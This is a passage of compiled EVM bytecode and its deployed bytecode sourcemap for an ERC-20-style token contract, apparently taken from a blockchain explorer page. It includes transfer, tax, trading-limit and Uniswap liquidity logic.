80fd5b5061018361032136600461169f565b610951565b348015610331575f80fd5b506101a8600e5481565b348015610346575f80fd5b5061021861095d565b34801561035a575f80fd5b506101a8610369366004611722565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f61039f338484610a01565b5060015b92915050565b5f6103b66009600a61184d565b6103c490633b9aca0061185b565b905090565b5f6103d5848484610b25565b6104268433610421856040518060600160405280602881526020016119ef602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906110ad565b610a01565b5060019392505050565b6010546001600160a01b0316336001600160a01b03161461044f575f80fd5b305f90815260016020526040902054801561046d5761046d816110e5565b47801561047d5761047d8161124c565b5050565b5f546001600160a01b031633146104b35760405162461bcd60e51b81526004016104aa90611872565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105245760405162461bcd60e51b81526004016104aa90611872565b6105306009600a61184d565b61053e90633b9aca0061185b565b600c5561054d6009600a61184d565b61055b90633b9aca0061185b565b600d557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61058b6009600a61184d565b61059990633b9aca0061185b565b60405190815260200160405180910390a1565b5f546001600160a01b031633146105d55760405162461bcd60e51b81526004016104aa90611872565b601254600160a01b900460ff161561062f5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104aa565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561067890309061066a6009600a61184d565b61042190633b9aca0061185b565b60115f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106c8573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106ec91906118a7565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561074b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061076f91906118a7565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156107b9573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107dd91906118a7565b601280546001600160a81b0319166001600160a01b0392831617600160a01b1790556011541663f305d7194730610828816001600160a01b03165f9081526001602052604090205490565b5f8061083b5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156108a1573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108c691906118c2565b505060125460115460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af115801561091b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061093f91906118ed565b506014805461ff001916610100179055565b5f61039f338484610b25565b5f546001600160a01b031633146109865760405162461bcd60e51b81526004016104aa90611872565b5f47116109d55760405162461bcd60e51b815260206004820152601960248201527f546f6b656e3a206e6f2045544820746f207472616e736665720000000000000060448201526064016104aa565b60405133904780156108fc02915f818181858888f193505050501580156109fe573d5f803e3d5ffd5b50565b6001600160a01b038316610a635760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104aa565b6001600160a01b038216610ac45760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104aa565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610b895760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104aa565b6001600160a01b038216610beb5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104aa565b5f8111610c4c5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104aa565b601254600160a01b900460ff161580610c67575060145460ff165b15610c7c57610c77838383611283565b505050565b5f80546001600160a01b03858116911614801590610ca757505f546001600160a01b03848116911614155b8015610cc157506010546001600160a01b03848116911614155b15610f1057610cf26064610cec600854600b5411610ce157600454610ce5565b6006545b8590611326565b906113ab565b6012549091506001600160a01b038581169116148015610d2057506011546001600160a01b03848116911614155b8015610d4457506001600160a01b0383165f9081526003602052604090205460ff16155b15610e2a57600c54821115610d9b5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104aa565b600d5482610dbd856001600160a01b03165f9081526001602052604090205490565b610dc7919061190c565b1115610e155760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104aa565b600b8054905f610e248361191f565b91905055505b6012546001600160a01b038481169116148015610e5057506001600160a01b0384163014155b15610e7d57610e7a6064610cec600954600b5411610e7057600554610ce5565b6007548590611326565b90505b305f9081526001602052604090205460145460ff168015610eab57506012546001600160a01b038581169116145b8015610ebe5750601454610100900460ff165b8015610ecb5750600e5481115b8015610eda5750600a54600b54115b15610f0e57610efc610ef784610ef284600f546113ec565b6113ec565b6110e5565b478015610f0c57610f0c4761124c565b505b505b6001600160a01b0384165f9081526003602052604090205460ff1680610f4d57506001600160a01b0383165f9081526003602052604090205460ff165b8015610f6257506001600160a01b0384163014155b8015610f7757506001600160a01b0383163014155b15610f8157436013555b6001600160a01b0384165f9081526003602052604090205460ff16158015610fc157506001600160a01b0383165f9081526003602052604090205460ff16155b1561109b576012546001600160a01b0390811690841603611013576001600160a01b0384165f90815260166020526040902060135481546110029190611937565b60028201554260019091015561109b565b6001600160a01b038084165f908152601660205260409020601254909186811691160361106757805461106257600a54600b54111561105457438155611099565b61105f600143611937565b81555b611099565b6001600160a01b0385165f9081526016602052604090208154158061108d575081548154105b1561109757805482555b505b505b6110a784848484611400565b50505050565b5f81848411156110d05760405162461bcd60e51b81526004016104aa9190611656565b505f6110dc8486611937565b95945050505050565b6014805460ff191660011790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106111255761112561194a565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561117c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906111a091906118a7565b816001815181106111b3576111b361194a565b6001600160a01b0392831660209182029290920101526011546111d99130911684610a01565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906112119085905f9086903090429060040161195e565b5f604051808303815f87803b158015611228575f80fd5b505af115801561123a573d5f803e3d5ffd5b50506014805460ff1916905550505050565b6010546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561047d573d5f803e3d5ffd5b6001600160a01b0383165f908152600160205260409020546112a5908261142a565b6001600160a01b038085165f9081526001602052604080822093909355908416815220546112d3908261146b565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610b189085815260200190565b5f825f0361133557505f6103a3565b5f611340838561185b565b90508261134d85836119cf565b146113a45760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104aa565b9392505050565b5f6113a483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114c9565b5f8183116113fa57826113a4565b50919050565b5f61140c8584846114f5565b905061142385858361141e878761142a565b6115a5565b5050505050565b5f6113a483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110ad565b5f80611477838561190c565b9050838110156113a45760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104aa565b5f81836114e95760405162461bcd60e51b81526004016104aa9190611656565b505f6110dc84866119cf565b6010545f9081906001600160a01b03908116908616036115215760155461151c9085611326565b611523565b835b9050821561159d57305f90815260016020526040902054611544908461146b565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906115949087815260200190565b60405180910390a35b949350505050565b6001600160a01b0384165f908152600160205260409020546115c7908361142a565b6001600160a01b038086165f9081526001602052604080822093909355908516815220546115f5908261146b565b6001600160a01b038085165f8181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906116489085815260200190565b60405180910390a350505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146109fe575f80fd5b5f80604083850312156116b0575f80fd5b82356116bb8161168b565b946020939093013593505050565b5f805f606084860312156116db575f80fd5b83356116e68161168b565b925060208401356116f68161168b565b929592945050506040919091013590565b5f60208284031215611717575f80fd5b81356113a48161168b565b5f8060408385031215611733575f80fd5b823561173e8161168b565b9150602083013561174e8161168b565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156117a757815f190482111561178d5761178d611759565b8085161561179a57918102915b93841c9390800290611772565b509250929050565b5f826117bd575060016103a3565b816117c957505f6103a3565b81600181146117df57600281146117e957611805565b60019150506103a3565b60ff8411156117fa576117fa611759565b50506001821b6103a3565b5060208310610133831016604e8410600b8410161715611828575081810a6103a3565b611832838361176d565b805f190482111561184557611845611759565b029392505050565b5f6113a460ff8416836117af565b80820281158282048414176103a3576103a3611759565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f602082840312156118b7575f80fd5b81516113a48161168b565b5f805f606084860312156118d4575f80fd5b8351925060208401519150604084015190509250925092565b5f602082840312156118fd575f80fd5b815180151581146113a4575f80fd5b808201808211156103a3576103a3611759565b5f6001820161193057611930611759565b5060010190565b818103818111156103a3576103a3611759565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156119ae5784516001600160a01b031683529383019391830191600101611989565b50506001600160a01b03969096166060850152505050608001529392505050565b5f826119e957634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208434adb36423b693714d538d9335c91d88c4b25877b8994cd418aa0104819c4164736f6c63430008190033

Deployed Bytecode Sourcemap

3689:10183:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5650:83;;;;;;;;;;-1:-1:-1;5720:5:0;;;;;;;;;;;;-1:-1:-1;;;5720:5:0;;;;5650:83;;;;;;;:::i;:::-;;;;;;;;6483:161;;;;;;;;;;-1:-1:-1;6483:161:0;;;;;:::i;:::-;;:::i;:::-;;;1058:14:1;;1051:22;1033:41;;1021:2;1006:18;6483:161:0;893:187:1;4683:52:0;;;;;;;;;;;;;;;;;;;1231:25:1;;;1219:2;1204:18;4683:52:0;1085:177:1;5927:95:0;;;;;;;;;;;;;:::i;6652:350::-;;;;;;;;;;-1:-1:-1;6652:350:0;;;;;:::i;:::-;;:::i;5836:83::-;;;;;;;;;;-1:-1:-1;5836:83:0;;4303:1;1870:36:1;;1858:2;1843:18;5836:83:0;1728:184:1;12807:348:0;;;;;;;;;;;;;:::i;:::-;;6030:119;;;;;;;;;;-1:-1:-1;6030:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6123:18:0;6096:7;6123:18;;;:9;:18;;;;;;;6030:119;2768:150;;;;;;;;;;;;;:::i;12540:159::-;;;;;;;;;;;;;:::i;4494:54::-;;;;;;;;;;;;;;;;13163:669;;;;;;;;;;;;;:::i;2552:79::-;;;;;;;;;;-1:-1:-1;2590:7:0;2617:6;2552:79;;-1:-1:-1;;;;;2617:6:0;;;2315:51:1;;2303:2;2288:18;2552:79:0;2169:203:1;4555:56:0;;;;;;;;;;;;;;;;5741:87;;;;;;;;;;-1:-1:-1;5813:7:0;;;;;;;;;;;;-1:-1:-1;;;5813:7:0;;;;5741:87;;6157:167;;;;;;;;;;-1:-1:-1;6157:167:0;;;;;:::i;:::-;;:::i;4618:58::-;;;;;;;;;;;;;;;;12343:189;;;;;;;;;;;;;:::i;6332:143::-;;;;;;;;;;-1:-1:-1;6332:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6440:18:0;;;6413:7;6440:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6332:143;6483:161;6558:4;6575:39;175:10;6598:7;6607:6;6575:8;:39::i;:::-;-1:-1:-1;6632:4:0;6483:161;;;;;:::o;5927:95::-;5980:7;4359:13;4303:1;4359:2;:13;:::i;:::-;4346:26;;:10;:26;:::i;:::-;6000:14;;5927:95;:::o;6652:350::-;6750:4;6767:36;6777:6;6785:9;6796:6;6767:9;:36::i;:::-;6814:158;6837:6;175:10;6872:89;6910:6;6872:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6872:19:0;;;;;;:11;:19;;;;;;;;175:10;6872:33;;;;;;;;;;:37;:89::i;:::-;6814:8;:158::i;:::-;-1:-1:-1;6990:4:0;6652:350;;;;;:::o;12807:348::-;12871:10;;-1:-1:-1;;;;;12871:10:0;175;-1:-1:-1;;;;;12857:24:0;;12849:33;;;;;;12932:4;12893:20;6123:18;;;:9;:18;;;;;;12952:14;;12949:73;;12980:30;12997:12;12980:16;:30::i;:::-;13051:21;13086:12;;13083:65;;13112:24;13125:10;13112:12;:24::i;:::-;12838:317;;12807:348::o;2768:150::-;2680:6;;-1:-1:-1;;;;;2680:6:0;175:10;2680:22;2671:69;;;;-1:-1:-1;;;2671:69:0;;;;;;;:::i;:::-;;;;;;;;;2875:1:::1;2859:6:::0;;2838:40:::1;::::0;-1:-1:-1;;;;;2859:6:0;;::::1;::::0;2838:40:::1;::::0;2875:1;;2838:40:::1;2908:1;2891:19:::0;;-1:-1:-1;;;;;;2891:19:0::1;::::0;;2768:150::o;12540:159::-;2680:6;;-1:-1:-1;;;;;2680:6:0;175:10;2680:22;2671:69;;;;-1:-1:-1;;;2671:69:0;;;;;;;:::i;:::-;4359:13:::1;4303:1;4359:2;:13;:::i;:::-;4346:26;::::0;:10:::1;:26;:::i;:::-;12593:12;:22:::0;4359:13:::1;4303:1;4359:2;:13;:::i;:::-;4346:26;::::0;:10:::1;:26;:::i;:::-;12626:14;:22:::0;12664:27:::1;4359:13;4303:1;4359:2;:13;:::i;:::-;4346:26;::::0;:10:::1;:26;:::i;:::-;12664:27;::::0;1231:25:1;;;1219:2;1204:18;12664:27:0::1;;;;;;;12540:159::o:0;13163:669::-;2680:6;;-1:-1:-1;;;;;2680:6:0;175:10;2680:22;2671:69;;;;-1:-1:-1;;;2671:69:0;;;;;;;:::i;:::-;13229:11:::1;::::0;-1:-1:-1;;;13229:11:0;::::1;;;13228:12;13220:47;;;::::0;-1:-1:-1;;;13220:47:0;;5015:2:1;13220:47:0::1;::::0;::::1;4997:21:1::0;5054:2;5034:18;;;5027:30;5093:25;5073:18;;;5066:53;5136:18;;13220:47:0::1;4813:347:1::0;13220:47:0::1;13278:15;:80:::0;;-1:-1:-1;;;;;;13278:80:0::1;13315:42;13278:80:::0;;::::1;::::0;;;13369:57:::1;::::0;13386:4:::1;::::0;4359:13:::1;4303:1;4359:2;:13;:::i;:::-;4346:26;::::0;:10:::1;:26;:::i;13369:57::-;13471:15;;;;;;;;;-1:-1:-1::0;;;;;13471:15:0::1;-1:-1:-1::0;;;;;13471:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13453:55:0::1;;13517:4;13523:15;;;;;;;;;-1:-1:-1::0;;;;;13523:15:0::1;-1:-1:-1::0;;;;;13523:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13453:93;::::0;-1:-1:-1;;;;;;13453:93:0::1;::::0;;;;;;-1:-1:-1;;;;;5651:15:1;;;13453:93:0::1;::::0;::::1;5633:34:1::0;5703:15;;5683:18;;;5676:43;5568:18;;13453:93:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13437:13;:109:::0;;-1:-1:-1;;;;;;13557:17:0;-1:-1:-1;;;;;13437:109:0;;::::1;13557:17:::0;-1:-1:-1;;;13557:17:0::1;::::0;;13585:15:::1;::::0;::::1;:31;13624:21;13655:4;13661:24;13655:4:::0;-1:-1:-1;;;;;6123:18:0;6096:7;6123:18;;;:9;:18;;;;;;;6030:119;13661:24:::1;13686:1;13688::::0;13690:7:::1;2590::::0;2617:6;-1:-1:-1;;;;;2617:6:0;;2552:79;13690:7:::1;13585:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;13585:129:0;;;-1:-1:-1;;;;;6089:15:1;;;13585:129:0::1;::::0;::::1;6071:34:1::0;6121:18;;;6114:34;;;;6164:18;;;6157:34;;;;6207:18;;;6200:34;6271:15;;;6250:19;;;6243:44;13698:15:0::1;6303:19:1::0;;;6296:35;6005:19;;13585:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;13732:13:0::1;::::0;13763:15:::1;::::0;13725:71:::1;::::0;-1:-1:-1;;;13725:71:0;;-1:-1:-1;;;;;13763:15:0;;::::1;13725:71;::::0;::::1;6827:51:1::0;-1:-1:-1;;6894:18:1;;;6887:34;13732:13:0;::::1;::::0;-1:-1:-1;13725:29:0::1;::::0;6800:18:1;;13725:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;13807:11:0::1;:17:::0;;-1:-1:-1;;13807:17:0::1;;;::::0;;13163:669::o;6157:167::-;6235:4;6252:42;175:10;6276:9;6287:6;6252:9;:42::i;12343:189::-;2680:6;;-1:-1:-1;;;;;2680:6:0;175:10;2680:22;2671:69;;;;-1:-1:-1;;;2671:69:0;;;;;;;:::i;:::-;12431:1:::1;12407:21;:25;12399:63;;;::::0;-1:-1:-1;;;12399:63:0;;7416:2:1;12399:63:0::1;::::0;::::1;7398:21:1::0;7455:2;7435:18;;;7428:30;7494:27;7474:18;;;7467:55;7539:18;;12399:63:0::1;7214:349:1::0;12399:63:0::1;12473:51;::::0;12481:10:::1;::::0;12502:21:::1;12473:51:::0;::::1;;;::::0;::::1;::::0;;;12502:21;12481:10;12473:51;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;12343:189::o:0;7010:335::-;-1:-1:-1;;;;;7103:19:0;;7095:68;;;;-1:-1:-1;;;7095:68:0;;7770:2:1;7095:68:0;;;7752:21:1;7809:2;7789:18;;;7782:30;7848:34;7828:18;;;7821:62;-1:-1:-1;;;7899:18:1;;;7892:34;7943:19;;7095:68:0;7568:400:1;7095:68:0;-1:-1:-1;;;;;7182:21:0;;7174:68;;;;-1:-1:-1;;;7174:68:0;;8175:2:1;7174:68:0;;;8157:21:1;8214:2;8194:18;;;8187:30;8253:34;8233:18;;;8226:62;-1:-1:-1;;;8304:18:1;;;8297:32;8346:19;;7174:68:0;7973:398:1;7174:68:0;-1:-1:-1;;;;;7253:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7305:32;;1231:25:1;;;7305:32:0;;1204:18:1;7305:32:0;;;;;;;;7010:335;;;:::o;7664:3093::-;-1:-1:-1;;;;;7757:18:0;;7749:68;;;;-1:-1:-1;;;7749:68:0;;8578:2:1;7749:68:0;;;8560:21:1;8617:2;8597:18;;;8590:30;8656:34;8636:18;;;8629:62;-1:-1:-1;;;8707:18:1;;;8700:35;8752:19;;7749:68:0;8376:401:1;7749:68:0;-1:-1:-1;;;;;7836:16:0;;7828:64;;;;-1:-1:-1;;;7828:64:0;;8984:2:1;7828:64:0;;;8966:21:1;9023:2;9003:18;;;8996:30;9062:34;9042:18;;;9035:62;-1:-1:-1;;;9113:18:1;;;9106:33;9156:19;;7828:64:0;8782:399:1;7828:64:0;7925:1;7911:11;:15;7903:69;;;;-1:-1:-1;;;7903:69:0;;9388:2:1;7903:69:0;;;9370:21:1;9427:2;9407:18;;;9400:30;9466:34;9446:18;;;9439:62;-1:-1:-1;;;9517:18:1;;;9510:39;9566:19;;7903:69:0;9186:405:1;7903:69:0;7991:11;;-1:-1:-1;;;7991:11:0;;;;7989:13;;:23;;-1:-1:-1;8006:6:0;;;;7989:23;7985:114;;;8029:37;8044:4;8050:2;8054:11;8029:14;:37::i;:::-;7664:3093;;;:::o;7985:114::-;8111:17;2617:6;;-1:-1:-1;;;;;8145:15:0;;;2617:6;;8145:15;;;;:32;;-1:-1:-1;2590:7:0;2617:6;-1:-1:-1;;;;;8164:13:0;;;2617:6;;8164:13;;8145:32;:51;;;;-1:-1:-1;8186:10:0;;-1:-1:-1;;;;;8181:15:0;;;8186:10;;8181:15;;8145:51;8141:1259;;;8227:100;8323:3;8227:73;8255:15;;8244:9;;:26;8243:56;;8285:14;;8243:56;;;8272:12;;8243:56;8227:11;;:15;:73::i;:::-;:95;;:100::i;:::-;8356:13;;8215:112;;-1:-1:-1;;;;;;8348:21:0;;;8356:13;;8348:21;:54;;;;-1:-1:-1;8386:15:0;;-1:-1:-1;;;;;8373:29:0;;;8386:15;;8373:29;;8348:54;:71;;;;-1:-1:-1;;;;;;8408:11:0;;;;;;:7;:11;;;;;;;;8406:13;8348:71;8344:309;;;8463:12;;8448:11;:27;;8440:65;;;;-1:-1:-1;;;8440:65:0;;9798:2:1;8440:65:0;;;9780:21:1;9837:2;9817:18;;;9810:30;9876:27;9856:18;;;9849:55;9921:18;;8440:65:0;9596:349:1;8440:65:0;8562:14;;8548:11;8532:13;8542:2;-1:-1:-1;;;;;6123:18:0;6096:7;6123:18;;;:9;:18;;;;;;;6030:119;8532:13;:27;;;;:::i;:::-;:44;;8524:83;;;;-1:-1:-1;;;8524:83:0;;10282:2:1;8524:83:0;;;10264:21:1;10321:2;10301:18;;;10294:30;10360:28;10340:18;;;10333:56;10406:18;;8524:83:0;10080:350:1;8524:83:0;8626:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8344:309;8676:13;;-1:-1:-1;;;;;8672:17:0;;;8676:13;;8672:17;:41;;;;-1:-1:-1;;;;;;8693:20:0;;8708:4;8693:20;;8672:41;8669:178;;;8746:85;8827:3;8746:76;8774:16;;8763:9;;:27;8762:59;;8806:15;;8762:59;;;8792:13;;8746:11;;:15;:76::i;:85::-;8734:97;;8669:178;8910:4;8863:28;6123:18;;;:9;:18;;;;;;8935:6;;;;:29;;;;-1:-1:-1;8951:13:0;;-1:-1:-1;;;;;8945:19:0;;;8951:13;;8945:19;8935:29;:44;;;;-1:-1:-1;8968:11:0;;;;;;;8935:44;:88;;;;;9006:17;;8984:20;:39;8935:88;:138;;;;;9055:18;;9044:9;;:29;8935:138;8931:458;;;9108:74;9125:56;9129:11;9142:38;9146:20;9168:11;;9142:3;:38::i;:::-;9125:3;:56::i;:::-;9108:16;:74::i;:::-;9230:21;9274:20;;9270:104;;9319:35;9332:21;9319:12;:35::i;:::-;9089:300;8931:458;8200:1200;8141:1259;-1:-1:-1;;;;;9417:13:0;;;;;;:7;:13;;;;;;;;;:26;;-1:-1:-1;;;;;;9432:11:0;;;;;;:7;:11;;;;;;;;9417:26;9416:53;;;;-1:-1:-1;;;;;;9449:20:0;;9464:4;9449:20;;9416:53;:75;;;;-1:-1:-1;;;;;;9473:18:0;;9486:4;9473:18;;9416:75;9412:134;;;9522:12;9508:11;:26;9412:134;-1:-1:-1;;;;;9562:13:0;;;;;;:7;:13;;;;;;;;9560:15;:33;;;;-1:-1:-1;;;;;;9582:11:0;;;;;;:7;:11;;;;;;;;9580:13;9560:33;9556:1135;;;9617:13;;-1:-1:-1;;;;;9617:13:0;;;9613:17;;;;9609:1071;;-1:-1:-1;;;;;9690:23:0;;9652:35;9690:23;;;:17;:23;;;;;9770:11;;9751:18;;:30;;9770:11;9751:30;:::i;:::-;9732:16;;;:49;9827:15;9800:24;;;;:42;9609:1071;;;-1:-1:-1;;;;;9925:21:0;;;9883:39;9925:21;;;:17;:21;;;;;9969:13;;9925:21;;9969;;;:13;;:21;9965:700;;10022:22;;10016:321;;10092:18;;10082:9;;:28;10078:236;;;10168:12;10143:37;;9965:700;;10078:236;10270:16;10285:1;10270:12;:16;:::i;:::-;10245:41;;10078:236;9965:700;;;-1:-1:-1;;;;;10423:23:0;;10385:35;10423:23;;;:17;:23;;;;;10475:22;;:26;;10473:76;;-1:-1:-1;10527:22:0;;10506:18;;:43;10473:76;10469:177;;;10604:18;;10579:43;;10469:177;10362:303;9965:700;9864:816;9609:1071;10703:46;10718:4;10724:2;10727:11;10739:9;10703:14;:46::i;:::-;7738:3019;7664:3093;;;:::o;1381:190::-;1467:7;1503:12;1495:6;;;;1487:29;;;;-1:-1:-1;;;1487:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1527:9:0;1539:5;1543:1;1539;:5;:::i;:::-;1527:17;1381:190;-1:-1:-1;;;;;1381:190:0:o;11852:483::-;5296:6;:13;;-1:-1:-1;;5296:13:0;5305:4;5296:13;;;11954:16:::1;::::0;;11968:1:::1;11954:16:::0;;;;;::::1;::::0;;-1:-1:-1;;11954:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;11954:16:0::1;11930:40;;11999:4;11981;11986:1;11981:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11981:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;12025:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;12025:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;11981:7;;12025:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12015:4;12020:1;12015:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12015:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;12090:15:::1;::::0;12058:62:::1;::::0;12075:4:::1;::::0;12090:15:::1;12108:11:::0;12058:8:::1;:62::i;:::-;12131:15;::::0;:196:::1;::::0;-1:-1:-1;;;12131:196:0;;-1:-1:-1;;;;;12131:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;12212:11;;12131:15:::1;::::0;12254:4;;12281::::1;::::0;12301:15:::1;::::0;12131:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5332:6:0;:14;;-1:-1:-1;;5332:14:0;;;-1:-1:-1;;;;11852:483:0:o;12707:92::-;12764:10;;:27;;-1:-1:-1;;;;;12764:10:0;;;;:27;;;;;12784:6;;12764:10;:27;:10;:27;12784:6;12764:10;:27;;;;;;;;;;;;;;;;;;;10765:251;-1:-1:-1;;;;;10874:15:0;;;;;;:9;:15;;;;;;:32;;10894:11;10874:19;:32::i;:::-;-1:-1:-1;;;;;10856:15:0;;;;;;;:9;:15;;;;;;:50;;;;10932:13;;;;;;;:30;;10950:11;10932:17;:30::i;:::-;-1:-1:-1;;;;;10917:13:0;;;;;;;:9;:13;;;;;;;:45;;;;10978:30;;;;;;;;;;10996:11;1231:25:1;;1219:2;1204:18;;1085:177;1579:283:0;1637:7;1661:1;1666;1661:6;1657:47;;-1:-1:-1;1691:1:0;1684:8;;1657:47;1714:9;1726:5;1730:1;1726;:5;:::i;:::-;1714:17;-1:-1:-1;1773:1:0;1764:5;1768:1;1714:17;1764:5;:::i;:::-;:10;1742:93;;;;-1:-1:-1;;;1742:93:0;;12381:2:1;1742:93:0;;;12363:21:1;12420:2;12400:18;;;12393:30;12459:34;12439:18;;;12432:62;-1:-1:-1;;;12510:18:1;;;12503:31;12551:19;;1742:93:0;12179:397:1;1742:93:0;1853:1;1579:283;-1:-1:-1;;;1579:283:0:o;1870:131::-;1928:7;1955:38;1959:1;1962;1955:38;;;;;;;;;;;;;;;;;:3;:38::i;11745:99::-;11802:7;11830:1;11828;:3;11827:9;;11835:1;11827:9;;;-1:-1:-1;11833:1:0;11745:99;-1:-1:-1;11745:99:0:o;11024:283::-;11157:15;11175:47;11193:4;11199:11;11212:9;11175:17;:47::i;:::-;11157:65;-1:-1:-1;11233:66:0;11253:4;11259:2;11157:65;11272:26;:11;11288:9;11272:15;:26::i;:::-;11233:19;:66::i;:::-;11146:161;11024:283;;;;:::o;1214:159::-;1272:7;1299:66;1317:1;1320;1299:66;;;;;;;;;;;;;;;;;:3;:66::i;1003:203::-;1061:7;;1093:5;1097:1;1093;:5;:::i;:::-;1081:17;;1136:1;1131;:6;;1109:70;;;;-1:-1:-1;;;1109:70:0;;12783:2:1;1109:70:0;;;12765:21:1;12822:2;12802:18;;;12795:30;12861:29;12841:18;;;12834:57;12908:18;;1109:70:0;12581:351:1;2009:189:0;2095:7;2130:12;2123:5;2115:28;;;;-1:-1:-1;;;2115:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2154:9:0;2166:5;2170:1;2166;:5;:::i;11315:420::-;